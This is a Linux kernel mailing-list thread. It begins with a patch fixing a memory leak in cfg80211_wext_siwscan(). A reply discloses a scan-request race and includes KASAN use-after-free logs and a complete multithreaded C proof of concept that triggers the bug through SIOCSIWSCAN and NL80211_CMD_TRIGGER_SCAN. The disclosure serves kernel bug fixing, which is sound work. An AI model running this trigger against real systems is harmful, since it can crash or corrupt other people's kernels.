[PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan()

[PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan()

[Christophe JAILLET]

If the test against IEEE80211_MAX_SSID_LEN fails, then 'creq' leaks.
Use the existing error handling path to fix it.

Fixes: 2a5193119269 ("cfg80211/nl80211: scanning (and mac80211 update to use it)")
Signed-off-by: Christophe JAILLET <christophe.jaillet@wanadoo.fr>
---
Compile tested only
---
 net/wireless/scan.c | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/net/wireless/scan.c b/net/wireless/scan.c
index 05b7dc6b766c..38001684014d 100644
--- a/net/wireless/scan.c
+++ b/net/wireless/scan.c
@@ -3612,8 +3612,10 @@ int cfg80211_wext_siwscan(struct net_device *dev,
 	/* translate "Scan for SSID" request */
 	if (wreq) {
 		if (wrqu->data.flags & IW_SCAN_THIS_ESSID) {
-			if (wreq->essid_len > IEEE80211_MAX_SSID_LEN)
-				return -EINVAL;
+			if (wreq->essid_len > IEEE80211_MAX_SSID_LEN) {
+				err = -EINVAL;
+				goto out;
+			}
 			memcpy(creq->req.ssids[0].ssid, wreq->essid,
 			       wreq->essid_len);
 			creq->req.ssids[0].ssid_len = wreq->essid_len;
-- 
2.54.0

Re: [PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan()

[XIAO WU]

Hi Christophe,

Thanks for this fix — the memory leak on the essid_len check failure
path is clearly a bug.

I came across an automated AI code review of this function on the Sashiko
platform[1] that identified a pre-existing race condition in this code
path, and I was able to independently verify it triggers a real
KASAN-detected use-after-free by testing with the mac80211_hwsim driver
in QEMU.

TL;DR: The lockless `rdev->scan_req` check in
cfg80211_wext_siwscan() races with nl80211_trigger_scan().  I was able
to trigger a KASAN slab-use-after-free in ieee80211_scan_work via a
barrier-synchronized two-thread race between SIOCSIWSCAN and
NL80211_CMD_TRIGGER_SCAN.

(This is a pre-existing issue, not introduced by your patch — your fix
is still correct.)

 > diff --git a/net/wireless/scan.c b/net/wireless/scan.c
 > @@ -3612,8 +3612,10 @@ int cfg80211_wext_siwscan(struct net_device *dev,
 >      /* translate "Scan for SSID" request */
 >      if (wreq) {
 >          if (wrqu->data.flags & IW_SCAN_THIS_ESSID) {
 > -            if (wreq->essid_len > IEEE80211_MAX_SSID_LEN)
 > -                return -EINVAL;
 > +            if (wreq->essid_len > IEEE80211_MAX_SSID_LEN) {
 > +                err = -EINVAL;
 > +                goto out;
 > +            }

This fix is correct — the old code leaked `creq`.  However, earlier in
the same function (around line 3530):

     if (rdev->scan_req || rdev->scan_msg)
         return -EBUSY;

This check is done WITHOUT holding the wiphy mutex.  Meanwhile,
nl80211_trigger_scan() acquires the wiphy via `pre_doit` before setting
`rdev->scan_req`.  The race is:

    Thread A (wext)          |   Thread B (nl80211)
                             |
    check rdev->scan_req     |   (wiphy lock acquired by pre_doit)
    → NULL, proceeds         |   check rdev->scan_req → NULL
                             |   set rdev->scan_req = req_B
                             |   rdev_scan(rdev, req_B)
    acquire wiphy lock        |
    rdev->scan_req = req_A    |   ← req_B pointer LOST, overwritten
    rdev_scan(rdev, req_A)   |

When the scan completes, `cfg80211_scan_done()` detects the mismatch:

```
WARNING: net/wireless/scan.c:1199: intreq != rdev->scan_req
          && intreq != rdev->int_scan_req
```

I was able to reproduce this reliably using mac80211_hwsim with a
barrier-synchronized two-thread PoC.  The kernel was 7.1.0 with
CONFIG_KASAN=y, CONFIG_CFG80211_WEXT=y, CONFIG_MAC80211_HWSIM=y.

The WARN_ON from cfg80211_scan_done():
```
[  619.100917][   T27] ------------[ cut here ]------------
[  619.101461][   T27] intreq != rdev->scan_req && intreq != 
rdev->int_scan_req
[  619.101465][   T27] WARNING: net/wireless/scan.c:1199 at 
cfg80211_scan_done+0x19e/0x530
[  619.114641][   T27] Call Trace:
[  619.115207][   T27]  ? __pfx_cfg80211_scan_done+0x10/0x10
[  619.116536][   T27]  __ieee80211_scan_completed+0x34c/0xe50
[  619.117049][   T27]  ieee80211_scan_work+0x3f6/0x2090
[  619.119819][   T27]  cfg80211_wiphy_work+0x2c3/0x550
[  619.121271][   T27]  process_one_work+0xa0b/0x1c50
[  619.122261][   T27]  worker_thread+0x6df/0xf30
```

Followed by a KASAN slab-use-after-free in ieee80211_scan_work:
```
[  614.882691][ T1114] BUG: KASAN: slab-use-after-free in 
ieee80211_scan_work+0x1db4/0x2090
[  614.883408][ T1114] Read of size 4 at addr ffff88811a135024 by task 
kworker/u10:4/1114

[  614.900665][ T1114] Allocated by task 9513:
[  614.901042][ T1114]  kasan_save_stack+0x33/0x60
[  614.902284][ T1114]  __kmalloc_noprof+0x31e/0x7f0
[  614.902719][ T1114]  nl80211_trigger_scan+0x4e3/0x1fb0
[  614.903701][ T1114]  genl_rcv_msg+0x561/0x800

[  614.907688][ T1114] Freed by task 1114:
[  614.908036][ T1114]  kasan_save_stack+0x33/0x60
[  614.909741][ T1114]  kfree+0x165/0x710
[  614.910085][ T1114]  ___cfg80211_scan_done+0x44b/0x9a0

[  614.913247][ T1114] The buggy address is located 36 bytes inside of
[  614.913247][ T1114]  freed 2048-byte region [ffff88811a135000, 
ffff88811a135800)
```

The PoC uses pthread barrier synchronization to force both paths through
the lockless check simultaneously.  It runs on wlan0 created by
mac80211_hwsim (modprobe mac80211_hwsim radios=2).

Full PoC (compile with:  gcc -Wall -o poc poc.c -lpthread):
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <sched.h>
#include <signal.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <net/if.h>
#include <linux/if.h>
#include <linux/netlink.h>
#include <linux/genetlink.h>
#include <linux/nl80211.h>
#include <linux/wireless.h>

static char ifname[IFNAMSIZ] = "wlan0";
static int nl80211_fid = -1;
static int nl_sock = -1;
static volatile int stop = 0;
static int wext_ok, nl_ok;
static pthread_barrier_t barrier_go;

static int resolve_nl80211(void)
{
     char buf[4096];
     struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
     struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
     struct genlmsghdr *genlh;
     struct nlattr *attr;
     int ret;

     memset(buf, 0, sizeof(buf));
     nlh->nlmsg_len = NLMSG_HDRLEN + GENL_HDRLEN +
                      NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
     nlh->nlmsg_type = GENL_ID_CTRL;
     nlh->nlmsg_flags = NLM_F_REQUEST;
     nlh->nlmsg_seq = 1;
     genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
     genlh->cmd = CTRL_CMD_GETFAMILY;
     genlh->version = 1;
     attr = (struct nlattr *)(buf + NLMSG_HDRLEN + GENL_HDRLEN);
     attr->nla_type = CTRL_ATTR_FAMILY_NAME;
     attr->nla_len = NLA_HDRLEN + sizeof(NL80211_GENL_NAME);
     memcpy((char *)attr + NLA_HDRLEN, NL80211_GENL_NAME,
            sizeof(NL80211_GENL_NAME));
     ret = sendto(nl_sock, buf, nlh->nlmsg_len, 0,
              (struct sockaddr *)&sa, sizeof(sa));
     if (ret < 0) return -1;
     ret = recv(nl_sock, buf, sizeof(buf), 0);
     if (ret < 0) return -1;
     nlh = (struct nlmsghdr *)buf;
     if (!NLMSG_OK(nlh, (unsigned int)ret)) return -1;
     genlh = (struct genlmsghdr *)NLMSG_DATA(nlh);
     char *data = (char *)NLMSG_DATA(nlh) + GENL_HDRLEN;
     int left = ret - (data - (char *)nlh);
     while (left >= (int)sizeof(struct nlattr)) {
         attr = (struct nlattr *)data;
         int al = NLA_ALIGN(attr->nla_len);
         if (al > left || al < (int)sizeof(struct nlattr)) break;
         if (attr->nla_type == CTRL_ATTR_FAMILY_ID) {
             nl80211_fid = *(uint16_t *)((char *)attr + NLA_HDRLEN);
             return 0;
         }
         data += al; left -= al;
     }
     return -1;
}

/* Send NL80211_CMD_TRIGGER_SCAN via generic netlink */
static int send_nlscan(void)
{
     char buf[512];
     struct sockaddr_nl sa = { .nl_family = AF_NETLINK };
     int ifindex = if_nametoindex(ifname);
     if (ifindex <= 0) return -1;

     struct nlmsghdr *nlh = (struct nlmsghdr *)buf;
     struct genlmsghdr *genlh;
     struct nlattr *attr;

     memset(buf, 0, sizeof(buf));
     nlh->nlmsg_type = nl80211_fid;
     nlh->nlmsg_flags = NLM_F_REQUEST | NLM_F_ACK;
     nlh->nlmsg_seq = 1;
     genlh = (struct genlmsghdr *)(buf + NLMSG_HDRLEN);
     genlh->cmd = NL80211_CMD_TRIGGER_SCAN;
     genlh->version = 1;

     char *ptr = buf + NLMSG_HDRLEN + GENL_HDRLEN;
     attr = (struct nlattr *)ptr;
     attr->nla_type = NL80211_ATTR_IFINDEX;
     attr->nla_len = NLA_HDRLEN + 4;
     *(int *)(ptr + NLA_HDRLEN) = ifindex;
     ptr += NLA_ALIGN(attr->nla_len);

     nlh->nlmsg_len = ptr - buf;
     return sendto(nl_sock, buf, nlh->nlmsg_len, 0,
               (struct sockaddr *)&sa, sizeof(sa));
}

/* nl80211 thread: waits for barrier, fires scan request */
static void *nl_thread(void *arg)
{
     (void)arg;
     cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(1, &cpus);
     sched_setaffinity(0, sizeof(cpus), &cpus);
     while (!stop) {
         pthread_barrier_wait(&barrier_go);
         if (stop) break;
         /*
          * nl80211_trigger_scan() holds wiphy via pre_doit.
          * rdev->scan_req check at line ~11115 — lockless with
          * respect to the wext path.
          */
         if (send_nlscan() == 0)
             __sync_fetch_and_add(&nl_ok, 1);
         /* drain the ACK */
         char buf[4096];
         struct timeval tv = { .tv_sec = 5 };
         setsockopt(nl_sock, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
         recv(nl_sock, buf, sizeof(buf), 0);
     }
     return NULL;
}

int main(void)
{
     pthread_t nt;
     struct sockaddr_nl sa;

     setbuf(stdout, NULL);
     signal(SIGPIPE, SIG_IGN);

     printf("PoC: wext vs nl80211 scan race (barrier sync)\n\n");

     /* bring wlan0 up */
     int s = socket(AF_INET, SOCK_DGRAM, 0);
     struct ifreq ifr;
     memset(&ifr, 0, sizeof(ifr));
     strncpy(ifr.ifr_name, ifname, IFNAMSIZ - 1);
     ioctl(s, SIOCGIFFLAGS, &ifr);
     ifr.ifr_flags |= IFF_UP;
     ioctl(s, SIOCSIFFLAGS, &ifr);
     close(s);

     /* set up generic netlink for nl80211 */
     nl_sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
     memset(&sa, 0, sizeof(sa));
     sa.nl_family = AF_NETLINK;
     bind(nl_sock, (struct sockaddr *)&sa, sizeof(sa));
     if (resolve_nl80211() < 0) {
         fprintf(stderr, "nl80211 resolve failed\n");
         return 1;
     }
     printf("nl80211 family: %d\n", nl80211_fid);

     pthread_barrier_init(&barrier_go, NULL, 2);
     pthread_create(&nt, NULL, nl_thread, NULL);

     cpu_set_t cpus; CPU_ZERO(&cpus); CPU_SET(0, &cpus);
     sched_setaffinity(0, sizeof(cpus), &cpus);

     for (int i = 0; i < 20000; i++) {
         /*
          * Barrier: fire both paths simultaneously.
          *
          * wext: checks rdev->scan_req at scan.c:~3530
          *       WITHOUT wiphy lock → lockless relative to nl80211.
          * nl:   holds wiphy from pre_doit.
          */
         pthread_barrier_wait(&barrier_go);

         /* wext path: SIOCSIWSCAN with IW_SCAN_THIS_ESSID */
         int fd = socket(AF_INET, SOCK_DGRAM, 0);
         if (fd >= 0) {
             struct iwreq wrq;
             struct iw_scan_req sr;
             memset(&wrq, 0, sizeof(wrq));
             memset(&sr, 0, sizeof(sr));
             strncpy(wrq.ifr_name, ifname, IFNAMSIZ - 1);
             sr.essid_len = 5;
             memcpy(sr.essid, "test", 5);
             wrq.u.data.flags = IW_SCAN_THIS_ESSID;
             wrq.u.data.length = sizeof(sr);
             wrq.u.data.pointer = (caddr_t)&sr;
             if (ioctl(fd, SIOCSIWSCAN, &wrq) == 0)
                 wext_ok++;
             close(fd);
         }
         if (i % 2000 == 1999)
             printf("[%d] wext=%d nl=%d\n", i + 1, wext_ok, nl_ok);
     }

     stop = 1;
     pthread_barrier_wait(&barrier_go);
     pthread_join(nt, NULL);

     printf("\nFinal: wext=%d nl=%d\n", wext_ok, nl_ok);
     if (wext_ok > 0 && nl_ok > 0) {
         printf("RACE HIT! Both scan paths succeeded.\n"
                "Run: dmesg | grep -E 'WARNING|KASAN|cfg80211_scan'\n");
         fflush(stdout);
         sleep(3);
         system("dmesg | grep -iE 'WARNING|KASAN|cfg80211_scan' | tail 
-20");
     }
     close(nl_sock);
     return 0;
}
```

[1] 
https://sashiko.dev/#/patchset/a1be7eea4da0da18f90589af252bb76a18a61978.1781984889.git.christophe.jaillet%40wanadoo.fr

Thanks,
Xiao

Re: [PATCH] wifi: cfg80211: Fix an error handling path in cfg80211_wext_siwscan()

[Markus Elfring]

…
> The PoC uses pthread barrier synchronization to force both paths through
> the lockless check simultaneously.  It runs on wlan0 created by
> mac80211_hwsim (modprobe mac80211_hwsim radios=2).
> 
> Full PoC (compile with:  gcc -Wall -o poc poc.c -lpthread):

Thanks for your test approach.


…
>      pthread_barrier_init(&barrier_go, NULL, 2);
>      pthread_create(&nt, NULL, nl_thread, NULL);
…

Can there be a need to improve error detection and corresponding exception handling?
https://cmu-sei.github.io/secure-coding-standards/sei-cert-c-coding-standard/rules/posix-pos/pos54-c

Regards,
Markus